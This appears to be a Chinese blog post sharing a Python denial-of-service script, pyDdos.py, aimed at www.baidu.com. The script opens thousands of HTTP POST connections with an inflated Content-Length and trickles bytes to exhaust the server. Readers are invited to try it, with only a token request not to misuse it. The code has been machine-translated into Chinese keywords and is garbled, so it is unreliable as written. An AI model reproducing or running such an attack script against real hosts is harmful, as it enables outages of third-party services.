本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下
于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。
附上源码pyDdos.py:
#?usr/bin/env python 进口套接字 导入的时间 进口线程 #压力测试,ddos的工具 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - MAX_CONN=20000 端口=80 主机=" www.baidu.com " 页面="/index . php " # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - buf=(“后% s HTTP/1.1 \ r \ n” ”主持人:% s \ r \ n” 内容长度”:10000000 \ r \ n” “饼干:dklkt_dos_test \ r \ n” " \ r \ n " %(页面、主机)) 袜子=[] def conn_thread (): 全球的袜子 因为我在范围(0,MAX_CONN): s=socket.socket (socket.AF_INET socket.SOCK_STREAM) 试一试: s.connect((主机、端口)) s.send (buf) 康涅狄格州打印”发送缓冲区OK !=% d \ n " %我 socks.append (s) 除了例外,例: 打印“无法连接到服务器或发送错误:% s“%的前女友 time . sleep (10) #结束def def send_thread (): 全球的袜子 而真正的: 袜子的年代: 试一试: s.send (“f”) #打印”发送好的!” 除了例外,例: 打印”发送例外:% s \ n”%的前女友 socks.remove (s) s.close () time . sleep (1) #结束def conn_th=threading.Thread(目标=conn_thread args=()) send_th=threading.Thread(目标=send_thread args=()) conn_th.start () send_th.start ()
好的,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚,本所谓学习攻击的方式是为了更好的抵御攻击。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。